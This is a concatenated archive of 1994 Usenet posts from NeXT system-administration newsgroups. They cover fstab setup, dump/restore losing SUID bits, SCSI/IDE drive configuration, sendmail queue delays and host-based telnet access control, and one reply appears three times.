/private/vm/swapfile "/private/vm/swapfile.front" swapfs rw 1 2
/dev/sd1a "/EMPIRE" 4.3 rw,noquota 1 2
Current fstab:
------------
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
NOTE: External is /dev/sd1a /EMPIRE
Send replies to alby@uunet.uu.net
Send email to alby@uunet.uu.net.
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
From: neef@neuroinformatik.ruhr-uni-bochum.de (Michael Neef)
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin,de.comp.sys.next
Subject: X.25 software needed
Date: 16 Jan 1994 14:56:49 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Message-ID: <2hbkjh$gii@rubb.rz.ruhr-uni-bochum.de>
Hi,
which X.25 software products are avaivable to connect a NeXT (black hardware,
NextStep 3.2) to X.25 ?
--
Thanks! -Micha Neef-
neef@neuroinformatik.ruhr-uni-bochum.de
From: timbuck@borg.lib.vt.edu (Tim Buck)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PCNFSD under NS 3.2?
Date: 16 Jan 1994 14:01:48 GMT
Organization: Newman Library, Virginia Tech
Message-ID: <2hbhcc$9tv@solaris.cc.vt.edu>
References: <westesCJp6p9.I0A@netcom.com>
In article <westesCJp6p9.I0A@netcom.com>, Will Estes <westes@netcom.com> wrote:
>Are there any problems running PCNFSD under NS 3.2? Is there a
None that I know of.
>compiled version for NS 3.2 Intel anywhere?
/usr/etc/rpc.pcnfsd
--
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TimothyB@online.apple.com "I take Him shopping with me. I say, 'OK, Jesus,
rri!tim@vtserf.cc.vt.edu help me find a bargain'." -- Tammie Faye Bakker
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Improved telnetd anyone?
Date: 16 Jan 1994 16:10:49 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2hbou9$63s@news.intercon.com>
Hi,
I'm looking for a version of telnetd that will check the host/IP someone is
telnetting from and disallow their connection if they aren't coming from
an approved system. This needs to be configurable on a user-by-user
basis; kind of like an anti-rhosts file. I have a NeXT, so preferably
the code would already be ported, but if it isn't, that's OK. At this
point I'm looking for anything to go on...
If there are useful responses, I will summarize to these three newsgroups.
David.
From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong)
Newsgroups: comp.sys.next.sysadmin
Subject: Dump/restore question
Date: 16 Jan 1994 15:58:42 GMT
Organization: The Ohio State University
Distribution: usa
Message-ID: <2hbo7i$luc@charm.magnus.acs.ohio-state.edu>
Hi,
Last night, I was trying to move my system from sd0a(old disk) to
sd1a(new disk). So, I boot into single user mode, do a "fsck" on the sd0a
and then use the commands:
mount -o rw /dev/sd1a /mnt
dump 0f - | (cd /mnt; restore xf -)
After half hour, the process completed and I was asked a question:
modify file in "." [y/n]?
I asked "n" (am I correct? what is this means?)
Then I boot off the sd1a and I can *ONLY* login the ROOT. No user account
works. In the message log, I have got:
Jan 16 10:19:12 hsuti loginwindow[199]: loginwindow: running /usr/lib/NextStep/Workspace.app/Workspace
Jan 16 10:19:12 hsuti Workspace[199]: not installed properly. Must be setuid root, setgid wheel. Exiting.
Jan 16 10:19:12 hsuti loginwindow[193]: loginwindow: Workspace exited ts 0 cd 0 rc 255 sv 0 ss 255.
Anybody have a clue what went wrong? I think some of the premission stuffs
got mess up in the DUMP/RESTORE process.....Help!
Andy
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From: kay@nagasena.muc.de (Kay Schulz)
Newsgroups: comp.sys.next.bugs,comp.soft-sys.nextstep,comp.sys.next.advocacy,comp.sys.next.misc,de.comp.sys.next,comp.sys.next.sysadmin
Subject: driverLoader scandir error
Date: 16 Jan 1994 19:38:31 +0100
Organization: Firestone Chaotic Group
Message-ID: <2hc1j7$8v@nagasena.muc.de>
Hi,
I tried to install the Mux8 driver but I got problems with it.
The problem is:
I have a serial mouse on com1 and I wanted the MUX8 on COM2.
But all we tried failed. No we installed the /usr/Devices from CDROM so
that I can use the old drivers. at 9600 the serials work, but not with
19200 or above. But also I have the normal configuration as before (with
Configure.APP) I get an error message during boottime.
it looks like that:
driverLoader:scandir (/usr/Devices/SerialPorts.config) error
or something like this.
My mouse and my modem work (if you can read this). What does the scnadir
mean and where is the problem?
What do I have to do to get the MUX8 working on COM2 and the normal
serials for my mouse on COM1 ? Do I have to change the Instance0.table
or the Default.table? I am not familiar with it.
Can someone help?
Thanks
--
Kay Schulz
kay@nagasena.muc.de
NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin
From: dav@well.sf.ca.us (Paul Davilon)
Subject: LocalApps on remote disks
Message-ID: <CJqtvD.Csx@well.sf.ca.us>
Sender: news@well.sf.ca.us
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Date: Sun, 16 Jan 1994 22:16:24 GMT
I am booting a standalone workstation from a internal IDE boot disk which
starts the system while a second larger SCSI disk is used to store most of
the machine data and finally remote directories from a network are NFS
mounted.
This is the fstab
/dev/hd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd0a /vault 4.3 rw,noquota,noauto 0 2
When the machine boots the entire dock is full of black nextstation icons with
question marks, because even though the SCSI disk is mounted at boot, the
order in which things happen upon starting workspace for an account,
apparently loads everything AND THEN scans for disks, console.log bears this
out. While all the icons come up, the icons in LocalApps which are started
automatically by the workspace at boot DO NOT come up "on" and have to be
hand started.
Jan 16 16:46:41 Workspace: Cannot exec /vault/LocalApps/KPerfMon.app: (not a
valid program)
Jan 16 16:46:41 Workspace: Cannot exec /vault/LocalApps/BackSpace.app: (not a
valid program)
probing for DOS
Jan 16 16:46:43 Workspace: Mounted hard disk at /vault
probing for DOS
Is there any drwrite that would allow me to mount /vault BEFORE workspace tries
to launch applications from LocalApps which all live on this SCSI disk. For
that matter why does the workspace think that /vault is not mounted when fstab
mounts the disk upon boot.
Please advise
Newsgroups: comp.sys.next.sysadmin
From: mellin@Informatik.TU-Muenchen.DE (Reimer Mellin)
Subject: Re: Dump/restore question
References: <2hbo7i$luc@charm.magnus.acs.ohio-state.edu>
Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem)
Organization: Technische Universitaet Muenchen, Germany
Date: Sun, 16 Jan 1994 22:20:55 GMT
Message-ID: <1994Jan16.222055.23183@Informatik.TU-Muenchen.DE>
Distribution: usa
In article <2hbo7i$luc@charm.magnus.acs.ohio-state.edu> wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong) writes:
>Hi,
>
>Last night, I was trying to move my system from sd0a(old disk) to
>sd1a(new disk). So, I boot into single user mode, do a "fsck" on the sd0a
>and then use the commands:
>mount -o rw /dev/sd1a /mnt
>dump 0f - | (cd /mnt; restore xf -)
>
>After half hour, the process completed and I was asked a question:
>modify file in "." [y/n]?
>
>I asked "n" (am I correct? what is this means?)
>
>Then I boot off the sd1a and I can *ONLY* login the ROOT. No user account
>works. In the message log, I have got:
>
Simple Answer: "You lost all your SUID bit settings!!!"
Interesting part of this that even if you do a:
dump 0f - | (cd /mnt; restore rf - )
^^^
You wont get the SUID Bits restored correctly, resulting in the described
behaviour above!
This is a BIG bug in restore (NS 3.2).
The funny thing about this bug is that I was able to restore correctly
by mounting via:
mount -o suid,rw,noauto /dev/sdXa /mnt
and restoring via:
restore rf -
I have NOT tried all possibilies with the mount options and restore options (x versus r) but this is workable solution to this bug. At least it worked for me!
Cheers
Reimer
From: armes@pioneer.tds.com (Jim Armes)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Adaptec 1542b + Seagate drives?
Date: 16 Jan 1994 20:33:43 GMT
Organization: Trident Data Systems
Distribution: world
Message-ID: <2hc8b7$5v9@discovery.ectds.com>
References: <qBH6Fc1w165w@mindvox.phantom.com>
In article <qBH6Fc1w165w@mindvox.phantom.com> ian@mindvox.phantom.com (Ian
Bainbridge) writes:
>
> After installing a Seagate ST11200N 1.2gb disk on a machine running
NS/FIP
> and using a Adaptec 1542B controller and having problems getting the
system
> to recognize more than 111mb on the 1.2gb disk, I ran build-disk on the
> et all
I believe in the bios setup program on the advanced settings there is an
option for the bios to recognize >1G drives -- check your docs & look in
the bios program ( access by ctrl-A at boot time. )
If all else fails, call Adaptec, I did on a problem with their newest
board (1540-CF) and they swapped me with no problems!
#--------------------------------------------------------#
# Jim Armes | I've got a Pentium and you do not #
# Matrix-Man | nah nah nah nah nah... #
# | #
#Trident Data Systems| but IiiiiM a lumberjack and I'm ok#
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Newsgroups: comp.sys.ibm.pc.hardware,comp.sys.next.hardware,comp.sys.next.sysadmin
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: Adding IDE drive to SCSI System?
Message-ID: <1994Jan16.234009.25851@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Sun, 16 Jan 1994 23:40:09 GMT
I have a system that presently boots from a SCSI drive; I would like
to add an IDE drive as drive d: (i.e., not boot from the ide drive).
Do you know if this can be done? I an guessing that this will work if
I connect the ide drive in the usual manner, but identify it in the
PC's BIOS setup as the second drive...
Any thoughts?
Thanks,
Phil
--
G. Philippe Menos
gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
--
G. Philippe Menos
gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.ibm.pc.hardware,comp.sys.next.hardware,comp.sys.next.sysadmin
From: dvukovic@csn.org (Donald VuKovic)
Subject: Re: Adding IDE drive to SCSI System?
Message-ID: <CJrC8G.CCG@csn.org>
Followup-To: comp.sys.ibm.pc.hardware,comp.sys.next.hardware,comp.sys.next.sysadmin
Sender: news@csn.org (The Daily Planet)
Organization: Colorado SuperNet, Inc.
References: <1994Jan16.234009.25851@Princeton.EDU>
Date: Mon, 17 Jan 1994 04:53:03 GMT
Gerard Philippe Menos (gpmenos@firestone.Princeton.EDU) wrote:
: I have a system that presently boots from a SCSI drive; I would like
: to add an IDE drive as drive d: (i.e., not boot from the ide drive).
: Do you know if this can be done? I an guessing that this will work if
: I connect the ide drive in the usual manner, but identify it in the
: PC's BIOS setup as the second drive...
I have done this by useing Ontrack software 'Disk Manager'.
The package needs for your IDE controller to be on the alternate address
for IDE controllers. My IDE controller had this capability. If yours does
not you are out of luck.
I transfered all my files to the SCSI dirve and took out the IDE drives.
So I don't know how well it would have worked on a running system.
donaldV
: Any thoughts?
: Thanks,
: Phil
: --
: G. Philippe Menos
: gpmenos@firestone.princeton.edu [NeXTmail OK.]
: Systems Administrator, Princeton University Libraries
: voice: 609-258-5183 fax: 609-258-5571
: --
: G. Philippe Menos
: gpmenos@firestone.princeton.edu [NeXTmail OK.]
: Systems Administrator, Princeton University Libraries
: voice: 609-258-5183 fax: 609-258-5571
From: dpollack@panix.com (Daniel Pollack)
Newsgroups: comp.sys.next.sysadmin
Subject: Install
Date: 16 Jan 1994 23:56:46 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2hd5qe$qku@panix.com>
Summary: Installing NextStep on A Gateway With No Manuals
Keywords: Install NextStep Help
Hi there all,
This is a basic clueless type post. I know Sun's and PC's but I know
little about NextStep. I got the OS and The Developers kit for Intel
hardware but I have no idea how to start. When I put the boot floppy in
the machine I don't know what to do and if I do nothing the machine
just seems to freeze up after the kernel loads. I have a Gateway 486-66
with an EISA motherboard with a toshiba 3401 scsi cd-rom and a 500MB
seagate 3550 internal HD on an Adaptec-1742. I have some other hardware in
the machine like a modem, soundblaster, and SVGA video card. I would like
to boot the floppy or rom and install the OS. I can't figure it out. Any
help or suggestion would be appreciated. Thanks much. Mail or posts
appreciated.
Later,
Dan-o
Home - dpollack@panix.com
Work - dpollack@mvision.com
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: PCNFSD under NS 3.2?
Organization: CYANTIC Systems
Date: Mon, 17 Jan 1994 04:11:09 GMT
Message-ID: <1994Jan17.041109.29695@cyantic.com>
References: <westesCJp6p9.I0A@netcom.com>
In article <westesCJp6p9.I0A@netcom.com> westes@netcom.com (Will Estes) writes:
>Are there any problems running PCNFSD under NS 3.2? Is there a
>compiled version for NS 3.2 Intel anywhere?
I don't have any problems with the version shipped by Wollongong. It
compiled on Black 3.0 and I haven't changed it for 3.2. I use the Next as
a print and file server for a single PC.
I have no experience with Intel and pcnfsd.
--
Mark T. Dornfeld, CYANTIC Systems Voice: (416) 234-9048
101 Subway Crescent Suite 2103 Facsimile: (416) 234-0477
Etobicoke, Ontario, M9B 6K4 CANADA Email: mark@cyantic.com
From: premise@billthe.engin.umich.edu (sean michael willson)
Newsgroups: comp.sys.next.sysadmin
Subject: oldfiles
Date: 17 Jan 1994 06:42:37 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: world
Message-ID: <2hdc0tINNk3q@srvr1.engin.umich.edu>
Originator: premise@billthe.engin.umich.edu
I have a file in my home directory called .oldfiles and it is taking up alot of
disk space. All it contains is a copy of all of my old Viewer info. I tried
destroying it but since it has an AppleVolumes , .AppleDesktop, .AppleDouble it
will not let me remove directory. I tried the rmdir command and it says that
it is not a directory so I tried the rm command and it said it was a
directory....can anyone tell me how the heck to get rid of this file....I am
running out of partition space on the network drive. Desperate!!!!!!!
Sean Willson
please reply to premise@churchst.ccs.itd.umich.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: How do you mount a dos partition on a 2nd drive?
Message-ID: <1994Jan17.065345.879@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Mon, 17 Jan 94 06:53:45 GMT
I've got a 2nd IDE disk set up in my white NS system; I used fdisk to
partition it, for DOS & NS. Everything initialized & mounted just
fine for the NS partition, but the dos partition doesn't mount on
login. I have a small dos partition on the root disk, and that
automagically mounts on login. The 2nd partition on the 2nd disk is
formatted & all that.
I'm suspecting that i'll have to stick a line in my /etc/fstab file,
but i'm not sure what; any help out there?
danke
dan
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Date: 17 Jan 1994 02:24:29 -0500
Organization: UUNET Technologies Inc, Falls Church, VA, USA
Message-ID: <2hdefdINNl3s@rodan.UU.NET>
References: <2hbou9$63s@news.intercon.com>
The program TCP_WRAPPER on info.cert.org will allow or
deny any telnet's,ftp's,fingers, etc.. from any site you specify
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 17 Jan 1994 02:04:20 -0500
Organization: Next Announcements
Message-ID: <2hdd9k$kid@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
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Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Backing out of a symbolically linked subdirectory
Message-ID: <westesCJrMD2.108@netcom.com>
Organization: Mail Group
Date: Mon, 17 Jan 1994 08:31:50 GMT
When I change directories into a symbolically linked directory and
then back out (cd ..), this places me in the parent of the real
directory, and not back where I just was (in the "symbolic" parent)
when I entered the symbolically linked directory. Is there any way
to change this behavior so that I can traverse the file tree back up
the way I came in?
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: mike@agrijag.UUCP (Michael Schiller)
Subject: Re: Adaptec 1542b + Seagate drives?
Distribution: world
References: <qBH6Fc1w165w@mindvox.phantom.com> <2hc8b7$5v9@discovery.ectds.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <mike.03u5@agrijag.UUCP>
Date: Mon, 17 Jan 94 05:58:43 EST
Organization: Not an Organization
In article <2hc8b7$5v9@discovery.ectds.com> armes@pioneer.tds.com (Jim Armes) writes:
> In article <qBH6Fc1w165w@mindvox.phantom.com> ian@mindvox.phantom.com (Ian
> Bainbridge) writes:
> >
> > After installing a Seagate ST11200N 1.2gb disk on a machine running NS/FIP
> > and using a Adaptec 1542B controller and having problems getting the system
^^^^^
Notice the B in the model number! The 1542B is setup via DIP switches.
> > to recognize more than 111mb on the 1.2gb disk, I ran build-disk on the
> > et all
>
> I believe in the bios setup program on the advanced settings there is an
> option for the bios to recognize >1G drives -- check your docs & look in
> the bios program ( access by ctrl-A at boot time. )
The 1542C is the one that is accessed via CTRL-A at boot time!
>
> If all else fails, call Adaptec, I did on a problem with their newest
> board (1540-CF) and they swapped me with no problems!
>
>
> #--------------------------------------------------------#
> # Jim Armes | I've got a Pentium and you do not #
> # Matrix-Man | nah nah nah nah nah... #
> # | #
> #Trident Data Systems| but IiiiiM a lumberjack and I'm ok#
> # armes@ectds.com |I sleep all night & I work all day.#
The earlier Adaptec 1542B's had a bug that didn't allow them to recognise any
drives over 1.0 gigs. The easy fix to this problem is to call Adaptec, they will
probably replace the 1542B you have with a newer 1542B that WILL recognise a
drive with more than 1 gig of space.
--
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From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Making ptroff eject pages at the right position?
Message-ID: <ARROUYE.94Jan17131948@petole.imag.fr>
Sender: news@imag.fr
Organization: LGI-IMAG, Grenoble, France
Date: Mon, 17 Jan 1994 12:19:38 GMT
Hi,
I would like to know if it is possible to force ptroff to eject pages
at the right position, i.e. at the end of a page. I tried to give it
A4 for paper size, and it did not work, nor does a -l 29.7cm option
work (because the length must be an integer size).
Is it possible to obtain a correct behaviour, or does one need to
compile psroff (not the one based on ditroff, the one translating
C/A/T codes)?
Thanks for any help,
Yves.
--
Advocates for the C++ school claim that a well designed Yves Arrouye
program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
From: dpeknik@next.com (Dan Peknik)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: delay in sendmail
Date: 13 Jan 1994 00:46:44 GMT
Organization: NeXT, Inc.
Message-ID: <2h25lk$a3r@rosie.next.com>
Maybe you've got sendmail set to check the queue every 10 minutes or so. You can decrease or increase this value in the rc file, and in the sendmail config file. In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
In comp.sys.next.sysadmin article <9401090429.AA01258@statnextm.lakes.trenton.sc.us> you wrote:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
>
> This delay even occurs when I am checking an address. The more
> verbose output given there indicates that the delay is occuring while
> processing the address with Ruleset 6, which is defined as follows:
>
> # special local conversions
> S6
> R$*<@$*.uucp>$* $@$1<@$2.uucp>$3 no change to UUCP hosts
> R$*<@$+>$* $:$1<@$[$2$]>$3 find canonical hostname
> # R$*<@$*$=m>$* $1<@$2LOCAL>$4 convert local domain
>
> If I recall, I commented out the last line so that local mail would
> stay local rather than going over the UUCP line.
>
> The really bothersome part of it is that the delay is in some process
> which locks up every low level process on the machine. Screen
> oriented programs work fine, but anything that goes to disk is also
> delayed. Even ps is delayed so I can't even tell what the process is
> exactly. I really would not worry about a 5-10 min. delay in my mail
> being sent/delivered but it effectively locks the whole computer. If
> I get several mail messages, it can get frozen for hours at a time.
>
> Any help is greatly appreciated.
>
> Thank you for your time.
>
> Morgan D. Wise
> Applied Statistics Group
> Westinghouse Savannah River Co.
> mdwise@srs.gov (business)
> wisem@statnextm.lakes.trenton.sc.us (personal, NextMail)
References: <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
Reply-To: dpeknik@next.com
Distribution: world
In article <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
wisem@statnextm.lakes.trenton.sc.us (Morgan D. Wise) writes:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
Maybe you've got sendmail set to check the queue every 10 minutes or so
(based on the delay times you posted 18:08:36 & 18:18:00). You can
decrease or increase this value in the rc file, and in the sendmail config
file. I suspect In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force
mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP polling with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
From: dpeknik@next.com (Dan Peknik)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: delay in sendmail
Date: 13 Jan 1994 00:46:53 GMT
Organization: NeXT, Inc.
Message-ID: <2h25lt$a3s@rosie.next.com>
Maybe you've got sendmail set to check the queue every 10 minutes or so. You can decrease or increase this value in the rc file, and in the sendmail config file. In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
In comp.sys.next.sysadmin article <9401090429.AA01258@statnextm.lakes.trenton.sc.us> you wrote:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
>
> This delay even occurs when I am checking an address. The more
> verbose output given there indicates that the delay is occuring while
> processing the address with Ruleset 6, which is defined as follows:
>
> # special local conversions
> S6
> R$*<@$*.uucp>$* $@$1<@$2.uucp>$3 no change to UUCP hosts
> R$*<@$+>$* $:$1<@$[$2$]>$3 find canonical hostname
> # R$*<@$*$=m>$* $1<@$2LOCAL>$4 convert local domain
>
> If I recall, I commented out the last line so that local mail would
> stay local rather than going over the UUCP line.
>
> The really bothersome part of it is that the delay is in some process
> which locks up every low level process on the machine. Screen
> oriented programs work fine, but anything that goes to disk is also
> delayed. Even ps is delayed so I can't even tell what the process is
> exactly. I really would not worry about a 5-10 min. delay in my mail
> being sent/delivered but it effectively locks the whole computer. If
> I get several mail messages, it can get frozen for hours at a time.
>
> Any help is greatly appreciated.
>
> Thank you for your time.
>
> Morgan D. Wise
> Applied Statistics Group
> Westinghouse Savannah River Co.
> mdwise@srs.gov (business)
> wisem@statnextm.lakes.trenton.sc.us (personal, NextMail)
References: <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
Reply-To: dpeknik@next.com
Distribution: world
In article <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
wisem@statnextm.lakes.trenton.sc.us (Morgan D. Wise) writes:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
Maybe you've got sendmail set to check the queue every 10 minutes or so
(based on the delay times you posted 18:08:36 & 18:18:00). You can
decrease or increase this value in the rc file, and in the sendmail config
file. I suspect In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force
mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP polling with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
From: dpeknik@next.com (Dan Peknik)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: delay in sendmail
Date: 13 Jan 1994 00:46:56 GMT
Organization: NeXT, Inc.
Message-ID: <2h25m0$a3t@rosie.next.com>
Maybe you've got sendmail set to check the queue every 10 minutes or so. You can decrease or increase this value in the rc file, and in the sendmail config file. In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
In comp.sys.next.sysadmin article <9401090429.AA01258@statnextm.lakes.trenton.sc.us> you wrote:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
>
> This delay even occurs when I am checking an address. The more
> verbose output given there indicates that the delay is occuring while
> processing the address with Ruleset 6, which is defined as follows:
>
> # special local conversions
> S6
> R$*<@$*.uucp>$* $@$1<@$2.uucp>$3 no change to UUCP hosts
> R$*<@$+>$* $:$1<@$[$2$]>$3 find canonical hostname
> # R$*<@$*$=m>$* $1<@$2LOCAL>$4 convert local domain
>
> If I recall, I commented out the last line so that local mail would
> stay local rather than going over the UUCP line.
>
> The really bothersome part of it is that the delay is in some process
> which locks up every low level process on the machine. Screen
> oriented programs work fine, but anything that goes to disk is also
> delayed. Even ps is delayed so I can't even tell what the process is
> exactly. I really would not worry about a 5-10 min. delay in my mail
> being sent/delivered but it effectively locks the whole computer. If
> I get several mail messages, it can get frozen for hours at a time.
>
> Any help is greatly appreciated.
>
> Thank you for your time.
>
> Morgan D. Wise
> Applied Statistics Group
> Westinghouse Savannah River Co.
> mdwise@srs.gov (business)
> wisem@statnextm.lakes.trenton.sc.us (personal, NextMail)
References: <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
Reply-To: dpeknik@next.com
Distribution: world
In article <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
wisem@statnextm.lakes.trenton.sc.us (Morgan D. Wise) writes:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
Maybe you've got sendmail set to check the queue every 10 minutes or so
(based on the delay times you posted 18:08:36 & 18:18:00). You can
decrease or increase this value in the rc file, and in the sendmail config
file. I suspect In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force
mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP polling with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
From: dpeknik@next.com (Dan Peknik)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: Delay in sendmail?
